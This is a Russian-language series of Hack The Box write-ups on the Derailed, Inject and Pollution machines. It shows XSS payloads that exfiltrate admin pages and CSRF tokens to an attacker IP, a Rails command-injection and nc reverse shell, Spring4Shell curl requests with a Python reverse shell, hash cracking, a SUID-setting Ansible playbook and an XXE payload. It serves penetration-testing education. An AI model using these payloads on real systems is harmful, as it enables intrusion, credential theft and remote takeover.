Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
20
Добавлен:
20.04.2024
Размер:
21.69 Mб
Скачать

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ПЕНТЕСТИМ ВЕБ-ПРИЛОЖЕНИЕ НА RUBY ON RAILS

В этом райтапе я покажу приемы, которые используются при атаках на веб-приложе- ния, в первую очередь — работающие на Ruby on Rails. Начнем со сканирования сайта, найдем и проэксплуатируем XSS, затем получим доступ к хосту через RCE. Для повышения привилегий на атакуемой машине разберемся с OpenMediaVault.

RalfHacker hackerralf8@gmail.com

Нашей целью будет захват тренировочной машины Derailed с площадки Hack The Box. Уровень сложности отмечен как «безумный».

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

РАЗВЕДКА Сканирование портов

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.190 derailed.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта

Nmap нашел два открытых порта: 22 — служба OpenSSH 8.4p1 и 3000 — веб-сервер Nginx 1.18.0. Очевидно, что начинать стоит с осмотра веб-при- ложения.

Главная страница сайта derailed.htb

На сайте даже без регистрации можем создать заметку.

Созданная заметка

Обратим внимание, что обращение к только что созданной заметке происходит по номеру в URL, отсюда можно сделать вывод об использовании какого-то API. Просканируем корневой каталог сайта по словарю с разными названиями файлов и названиями конечных точек API. Я сделаю это с помощью feroxbuster.

Одно из первых действий при тестировании безопасности веб-приложе- ния — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch, DIRB или uf. Я предпочитаю feroxbuster.

При запуске указываем следующие параметры:

-u — URL;

-w — словарь (я использую словари из набора SecLists);

-t — количество потоков;

-d — глубина сканирования.

Запускаем:

feroxbuster -u http://10.10.11.190:3000 -w files_interesting.txt -t

256

Результат сканирования каталогов с помощью feroxbuster

Перебором мы нашли страницу со свойствами веб-фреймворка Ruby on Rails — /rails/info/properties.

Свойства Ruby on Rails

Теперь можно не сканировать каталоги и файлы, так как Rails предоставит нам всё в удобном виде на одной странице: /rails/info/routes.

Конечные точки сайта

ТОЧКА ВХОДА

В списке сразу отмечаем страницу администратора /administration, которая недоступна даже авторизованному пользователю.

Ошибка при обращении к админке сайта

Первым делом пробуем найти заметки других пользователей. Для этого будем просто перебирать номер заметки с помощью Burp Intruder.

Burp Intruder — вкладка Positions

Burp Intruder — вкладка Payloads

Находим всего одну заметку, которая ничего нам не дает.

Результат перебора заметок

Также в списке конечных точек обращаем внимание на форму отчета.

Страница /report

Отправляем любое сообщение и видим, что оно доставляется администратору, а значит, будем готовиться искать XSS.

Регистрация пользователя с длинным именем

Потратив много времени и ничего не найдя, я вернулся к форме авторизации и спустя еще какое-то время узнал, что форма не дает ввести в поле имени пользователя больше 48 символов. Однако мы можем это сделать с помощью Burp, обходя JS-скрипты.

Переполнение поля created

Продолжая изучать сайт, я обнаружил переполнение в поле created, где раньше отображалась дата создания заметки.

Информация о заметке

Так как контроль этого поля пользователем не предусматривался, возможно, и проверок там никаких нет. Снова перебрав разные нагрузки по словарю, я ничего не получил и пошел искать XSS для Ruby on Rails на сайте CVE. И мне удалось найти подходящую уязвимость. Она содержится в модуле Rails::

Html::SafeListSanitizer.

Список уязвимостей Ruby on Rails

Возьмем из отчета готовую нагрузку:

<select<style/>W<xmp<script>alert(1)</script>

И отправим ее после 48-го символа в имени пользователя при регистрации. Но ничего не произошло.

Тестирование нагрузки XSS

Упростим нагрузку и повторим тест:

<select<style/><script>alert(1)</script>

В исходном коде страницы все отображается корректно, но алерт не появляется.

Тестирование нагрузки XSS

Попробуем выполнить запрос на свой сервер через загрузку картинки.

<select<style/><img src='http://10.10.14.6/test'>

Тестирование нагрузки

Логи листенера nc

Нагрузка отработала, так что давай ее раскручивать.

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

 

o m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

e

 

 

p

df

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

 

 

 

e

 

 

 

p

df

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ПЕНТЕСТИМ ВЕБ-ПРИЛОЖЕНИЕ НА RUBY ON RAILS

ТОЧКА ОПОРЫ XSS в Ruby on Rails

Добиться выполнения скриптов было просто, для этого используем известный метод через параметр onerror. Код из него исполняется в том случае, когда браузер не может загрузить картинку. Для проверки выполняем JS-код, который выполнит запрос на наш сервер.

var url = "http://10.10.14.6/script_test"; var xhr = new XMLHttpRequest(); xhr.open('GET', url, false); xhr.send(null);

Скрипт кодируем в сharCode с помощью CyberChef (в кодировке Base64 код не выполнился). Отправляем его в нагрузке и получаем два запроса: один для картинки и второй из JS-кода.

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<select<style/><img

src='http://10.10.14.6/none_page' onerror="eval(String.fromCharCode(

118,97,.....,41,59))">

Нагрузка XSS на сайте

Логи веб-сервера

Нагрузка отработала, а так как куки в запросе не передаются, единственный вариант эксплуатации — получать доступ к административным страницам (ведь код будет выполняться у администратора) и эксфильтровать их содержимое к себе на сервер.

Следующий код выполнит запрос на страницу /administration, ответ закодирует в Base64 и кодировку URL и отправит на наш сервер в качестве параметра запроса.

var url = "http://derailed.htb:3000/administration"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() {

if (xhr.readyState == XMLHttpRequest.DONE) { fetch("http://10.10.14.6/?"+ encodeURI(btoa(xhr.responseText))

)

}

}

xhr.open('GET', url, true); xhr.send(null);

Кодируем через CyberChef и отправляем на сайт. Затем создаем отчет для администратора и мониторим логи веб-сервера. Получив желанный запрос, декодируем Base64 и открываем страницу в браузере. Страница выглядит некрасиво, так как JS-скрипты не загружаются.

Страница administration

Рассмотрев подробнее ссылку Download, отмечаем, что это HTML-форма c несколькими параметрами.

Исходный код страницы

Используется токен CSRF, поэтому выполнить запрос без посещения страницы /administration не получится. Также в исходном коде уже задан скачиваемый файл. Здесь пришлось долго возиться и с подсказкой «смотреть последние CVE». В итоге я вышел на уязвимость функции open в Ruby on Rails. Логично, ведь как-то же нужно открыть файл.

Эксплоит для уязвимости в функции open

Ruby on Rails open RCE

Первым делом нам нужно решить проблему с токеном CSRF. Для этого обращаемся к странице /administration и извлекаем из ответа значение элемента с ID authenticity_token. После этого передаем его на наш сервер.

var url = "http://derailed.htb:3000/administration"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() {

if (xhr.readyState == XMLHttpRequest.DONE) {

var page = new DOMParser().parseFromString(xhr.responseText, ' text/html');

var token = page.getElementById('authenticity_token').value;

var url2 = "http://10.10.14.44/?"+ encodeURI(token); var xhr2 = new XMLHttpRequest();

xhr2.open('GET', url2, false); xhr2.send(null);

}

}

xhr.open('GET', url, true); xhr.send(null);

Логи веб-сервера

У нас получилось извлечь токен, теперь попробуем проэксплуатировать уязвимость. Смысл в том, чтобы в имени файла передать конвейер команд. Для теста выполним запрос с помощью curl:

|curl http://10.10.14.44/test_rce

Следующий скрипт выполнит запрос к странице /administration, сделает задержку две секунды для ожидания загрузки страницы, получит CSRF-токен и создаст новую HTML-форму с теми же параметрами, что и в легитимной форме для скачивания файлов. Затем заполняем форму извлеченным CSRFтокеном и нагрузкой.

var xmlHttp = new XMLHttpRequest();

xmlHttp.open("GET", "http://derailed.htb:3000/administration", true); xmlHttp.send(null);

setTimeout(function() {

var doc = new DOMParser().parseFromString(xmlHttp.responseText, '

text/html');

var token = doc.getElementById('authenticity_token').value; var newform = new DOMParser().parseFromString('<form id="rform"

method="post" action="/administration/reports"> <input

type="hidden" name="authenticity_token"

id="authenticity_token"

value="placeholder"

autocomplete="off">

<input id="report_log"

type="text" class="form-control" name="report_log"

value="placeholder"

hidden="">

<button name="button"

type="submit">Submit</button>', 'text/html');

document.body.append(newform.forms.rform); document.getElementById('rform').elements.report_log.value = '

|curl http://10.10.14.44/test_rce'; document.getElementById('rform').elements.authenticity_token.value

= token; document.getElementById('rform').submit();

}, 2000);

После отправки мониторим логи веб-сервера и видим запрос из нагрузки для функции open.

Логи веб-сервера

Нагрузка отработала, поэтому запускаем листенер pwncat-cs -lp 4321 и кидаем реверс-шелл:

|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.44 4321

>/tmp/f

Сессия пользователя rails

Получив бэкконнект, забираем флаг пользователя в его домашнем каталоге.

Флаг пользователя

ПРОДВИЖЕНИЕ

Для продвижения к другому пользователю стоит поискать учетные данные. Так как в системе есть веб-приложение с базой данных, это наша первая цель. В каталоге сайта находим файл sqlite3 и скачиваем на свой компьютер.

Загрузка файла базы данных

Затем открываем файл для анализа. Я использую для этого DB Browser. Выбираем таблицу users, где и находим двух пользователей, а также bcryptхеши их паролей.

Содержимое таблицы users

Отправляем хеши на перебор с помощью hashcat, указывая режим 3200 (параметр -m).

hashcat -a 0 -m 3200 3200_hash.txt rockyou.txt

Результат перебора хешей

Получаем один пароль. Осталось найти пользователя. Для этого получим всех пользователей с активной командной оболочкой из файла /etc/passwd.

cat /etc/passwd | grep -v 'nologin\|false'

Пользователи с активной командной оболочкой

Пробуем по порядку добавить полученный пароль и в итоге авторизуемся от имени другого пользователя: openmediavault-webgui.

Сессия пользователя openmediavault-webgui

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

OpenMediaVault — это решение для сетевого хранилища на Linux. Оно поддерживает такие сервисы, как SSH, (S)FTP, SMB/CIFS, RSync и многие другие. И сейчас мы находимся в контексте пользователя службы OpenMediaVault. Первым делом просмотрим файл настроек /etc/openmediavault/config.

xml.

Содержимое файла con g.xml

Из интересного наблюдаем только настройки для доступа к веб-серверу, а также, что очень интересно, настройки для доступа по SSH. Так как мы работаем от имени пользователя службы, можем вносить изменения в файл с настройками.

Права на файл настроек OpenMediaVault

Давай внесем в настройки пару изменений и разрешим подключение с приватным ключом по SSH. Подробно об этом написано на форуме. Сперва генерируем пару SSH-ключей.

ssh-keygen -t rsa

ssh-keygen -e -f id_rsa.pub

Теперь открываем настройки в редакторе nano (да, pwncat это позволяет сделать!) и меняем запись для тестового пользователя, добавляя публичный ключ.

Измененная запись в файле конфигураций

Теперь применим изменения для SSH.

/usr/sbin/omv-rpc -u admin "config" "applyChanges" "{"modules":["ssh

"],"force":true}"

Применение настроек

И подключаемся с приватным ключом!

Флаг рута

Флаг рута у нас, а значит, машина захвачена!

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ИСПОЛЬЗУЕМ

ANSIBLE PLAYBOOKS

ДЛЯ ПОВЫШЕНИЯ ПРИВИЛЕГИЙ

В этом райтапе я покажу, как повысить привилегии с применением техники GTFOBins

для Ansible playbooks. Но прежде, чем доб-

раться до него, нам предстоит проэксплуатировать уязвимость Spring4Shell в фреймворке Spring и заполучить учетные данные пользователя.

RalfHacker hackerralf8@gmail.com

Наша цель — захват тренировочной машины Inject с площадки Hack The Box. Уровень ее сложности — легкий.

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

РАЗВЕДКА Сканирование портов

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.204 inject.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта

Мы нашли два открытых порта:

22 — служба OpenSSH 8.2p1;

8080 — веб-сервис Nagios NSCA.

На SSH мы сейчас ничего не добьемся, поэтому обращаем свой взор на веб-сервер.

Главная страница сайта

ТОЧКА ВХОДА

На сайте можно зарегистрироваться и залогиниться, к тому же в глаза бросается возможность загружать файлы через пункт меню Upload. Перейти на эту страницу и загрузить файл получится и без авторизации.

Форма загрузки файла

После загрузки файла нам предложат просмотреть его по ссылке. Более интересно это выглядит в Burp History.

Burp History

Название загруженного файла передается в качестве параметра img страницы /show_image. В таком случае следует проверить, нет ли здесь уязвимости LFI, которая позволит смотреть произвольные файлы с обходом каталога, к примеру.

Пробуем прочитать файл ../../../../../../../../../../etc/passwd,

и у нас получается.

Содержимое файла /etc/passwd

Значит, LFI присутствует, это нам пригодится.

ТОЧКА ОПОРЫ

При попытке раскрутить уязвимость обнаруживаем, что мы можем не только смотреть файлы, но и получать листинги каталогов.

Содержимое каталога /etc/

Давай посмотрим, что лежит в /var/www/, чтобы найти каталог с сайтом.

Содержимое каталога /var/www/

Это явно директория WebApp. Давай глянем файлы в ней.

Содержимое каталога /var/www/WebApp/

Так мы узнаем, что имеем дело с приложением на Java. Поскольку используется средство сборки Maven, вся структура проекта описана в файле pom. xml (Project Object Model), который находится в корневой папке проекта. В Maven есть понятие «артефакт» — это какая-то зависимость или плагин.

Содержимое файла /var/www/WebApp/pom.xml

В этом проекте используется фреймворк Spring — это средство внедрения зависимостей с несколькими удобными слоями (среди них — доступ к базе данных, прокси, аспектно ориентированное программирование, RPC, веб-инфраструктура и прочие). Все это позволяет быстрее и удобнее создавать приложения на Java, но использование таких фреймворков может привести к рискам для безопасности. Так, эта версия Spring содержит известную уязвимость Spring4Shell.

Spring4Shell

Этот баг приводит к удаленному выполнению кода (RCE). Подробнее о том, как это работает, можешь прочитать в блоге Sysdig. Чтобы проверить уязвимость, попробуем запустить простой веб-сервер на основе Python 3 и обратиться к нему с удаленного сервера:

curl http://10.10.14.16/test_rce

Получится такой запрос:

curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression:

T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.16/

test_rce")' 'http://inject.htb:8080/functionRouter' --data-raw 'test'

Логи веб-сервера

Видим запрос в логах, а значит, уязвимость подтверждена. Запускаем листенер pwncat-cs -lp 4321 и выполняем реверс-шелл. В качестве шелла используем следующий проверенный временем код на Python:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.

AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.16",4321));os.dup2(

s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import

pty; pty.spawn("sh")'

Одной командой это выполнить не вышло, поэтому первой командой скачиваем реверс-шелл, второй присваиваем права для выполнения, а третьей выполняем шелл.

curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.16/rs. sh -o /tmp/rs.sh")' 'http://inject.htb:8080/functionRouter' --data-raw 'test'

curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/rs.sh")' 'http://inject.htb:8080/functionRouter' --data-raw 'test'

curl -i -s -k -X 'POST' -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("/tmp/rs.sh")' 'http://inject. htb:8080/functionRouter' --data-raw 'test'

Сессия пользователя frank

ПРОДВИЖЕНИЕ

В домашнем каталоге пользователя находим скрытую папку .m2 для настроек

Maven.

Содержимое домашнего каталога пользователя

В этой папке должен быть файл settings.xml, как раз и описывающий основные параметры. Нам повезло, в файле нашлись еще и учетные данные.

Содержимое файла settings.xml

Меняем пользователя с помощью утилиты su и получаем первый флаг.

Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Мы вошли в систему и получили флаг пользователя, но для продвижения к руту нужно сначала собрать информацию о системе. Я, как обычно, использовал скрипт LinPEAS, но он ничего особенного не показал.

Если базовый перебор потенциально интересных мест в системе ничего не дал, значит, нужно отслеживать запускаемые процессы. Для этого есть отличное приложение pspy64. Загрузим его на хост, дадим право на выполнение, а потом запустим и будем мониторить логи. Таким образом обнаружи-

ваем, что запускаются процессы ansible-playbook и ansible-parallel,

но что более интересно — они запускаются в контексте пользователя с нулевым UID, а это root.

Вывод утилиты pspy64

Также стоит обратить внимание на используемый путь:

/opt/automation/tasks/*.yml

Получается, мы можем передать на привилегированное выполнение любой конфиг YML в каталоге /opt/automation/tasks/. К тому же записывать в эту директорию могут пользователи группы staff, в которой мы и состоим (вывод команды id при получении сессии).

Права на каталог /opt/automation/tasks/

Первым делом я решил проверить техники GTFOBins и нашел ту, которую можно использовать.

Техника GTFOBins для ansible-playbook

Одной командой мы создаем конфигурацию, которая приведет к выполнению команды /usr/bin/chmod u+s /bin/bash.

echo '[{hosts: localhost, tasks: [shell: /usr/bin/chmod u+s /bin/

bash]}]' > /opt/automation/tasks/get_root.yml

Спустя некоторое время проверяем права на файл командной оболочки / bin/bash и видим выставленный S-бит.

Права на файл /bin/bash

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из-за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.

Так мы и получаем новую привилегированную сессию.

/bin/bash -p

Флаг рута

Машина захвачена!

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

 

o m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ЭКСПЛУАТИРУЕМ XXE

ИРАЗБИРАЕМСЯ

СУЯЗВИМОСТЬЮ

PROTOTYPE POLLUTION

В

этом райтапе я покажу, как работать

с

уязвимостью типа prototype pollution

в приложении на Node.js. На пути к ней мы поупражняемся в эксплуатации XXE, поработаем с Redis и применим эксплоит для PHP FPM.

RalfHacker hackerralf8@gmail.com

Упражняться мы будем на тренировочной машине Pollution с площадки Hack The Box. Уровень — сложный.

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

РАЗВЕДКА Сканирование портов

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.192 pollution.htb

И запускаем сканирование портов.

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.

Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Результат работы скрипта

Сканер нашел всего три открытых порта:

22 — служба OpenSSH 8.4p1;

80 — веб-сервер Apache 2.4.54;

6379 — СУБД Redis.

Наиболее вероятная точка входа при таком выборе — веб-сайт. Его-то и проверим первым делом.

Главная страница сайта

В информации на сайте отражается реальный домен, который мы добавляем в файл /etc/hosts.

10.10.11.192 pollution.htb collect.htb

Информация на сайте

А так как мы получили реальное доменное имя, попробуем просканировать поддомены.

Одно из первых действий при тестировании безопасности веб-приложе- ния — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.

Я предпочитаю легкий и очень быстрый uf. При запуске указываем следующие параметры:

-w — словарь (я использую словари из набора SecLists);

-t — количество потоков;

-u — URL;

-H — заголовок HTTP;

-fs — фильтровать страницы по размеру.

Место перебора помечается словом FUZZ.

Получается вот такая команда:

ffuf -u 'http://collect.htb/' -w subdomains-top1million-110000.txt -t

256 -H 'Host: FUZZ.collect.htb' -fs 26197

Результат сканирования поддоменов

Добавляем все найденные записи в файл /etc/hosts.

10.10.11.192 pollution.htb collect.htb forum.collect.htb developers.

collect.htb

На первом домене обнаруживаем открытый форум с возможностью регистрации, а на втором нас встречает HTTP-аутентификация.

Главная страница forum.collect.htb

Переходим к изучению форума.

ТОЧКА ВХОДА

Регистрируемся на форуме, так как это позволит расширить область исследования. Сразу копируем себе список пользователей, иногда это очень важная информация.

Пользователи форума

Переходим к открытым темам и просматриваем обсуждения. В одном посте видим, как пользователь расшарил историю прокси-сервера.

Сообщение с историей прокси-сервера

В файле видим всю историю запросов и ответов, проходивших через прокси. Эти данные закодированы в Base64.

Содержимое файла proxy_history.txt

Декодировать можно прямо в Burp с помощью комбинации клавиш Ctrl-Shift- B.

Декодированный запрос на сервер

Находим очень интересный запрос, который повышает роль пользователя до администратора. Вернемся к исходному сайту и отправим аналогичный запрос с тем же токеном.

Запрос на повышение привилегий

Токен оказался неодноразовый, и роль пользователя повысилась до администратора сайта.

Страница администратора

Эти привилегии позволяют нам разрешить пользователю получать доступ по API.

Форма регистрации пользователя API

Просматриваем историю запросов Burp History и находим запрос на регистрацию пользователя API.

Данные отправляются в формате XML, а значит, здесь может быть уязвимость XXE. Давай проверим!

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

 

o m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ЭКСПЛУАТИРУЕМ XXE

ИРАЗБИРАЕМСЯ

СУЯЗВИМОСТЬЮ

PROTOTYPE POLLUTION

ТОЧКА ОПОРЫ XXE

Инъекция внешних сущностей XML (XXE) — это уязвимость, которая позволяет атакующему вмешиваться в обработку XML-данных. Эта уязвимость часто помогает атакующему просматривать произвольные файлы в файловой системе сервера и взаимодействовать с любыми серверными или внешними системами, к которым имеет доступ само приложение.

Это происходит из-за того, что приложение может использовать формат XML для передачи данных. Для их обработки в таких случаях почти всегда применяется стандартная библиотека или API платформы. Уязвимости XXE возникают из-за того, что спецификация XML содержит потенциально опасные функции, которые можно вызвать, даже если приложение их не использует.

Внешние сущности XML — это настраиваемые сущности, определенные значения которых загружаются из файлов DTD с удаленного сервера.

Попробуем прочитать файл /etc/hosts. Запустим веб-сервер:

python3 -m http.server 80

И создадим нагрузку, которая попытается загрузить файл DTD evil.dtd с нашего веб-сервера.

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [

<!ENTITY % xxe SYSTEM "http://10.10.14.13/evil.dtd"> %xxe;

]>

<root>

<method>POST</method> <uri>/auth/register</uri>

<user>

<username>ralf</username> <password>ralf</password>

</user>

</root>

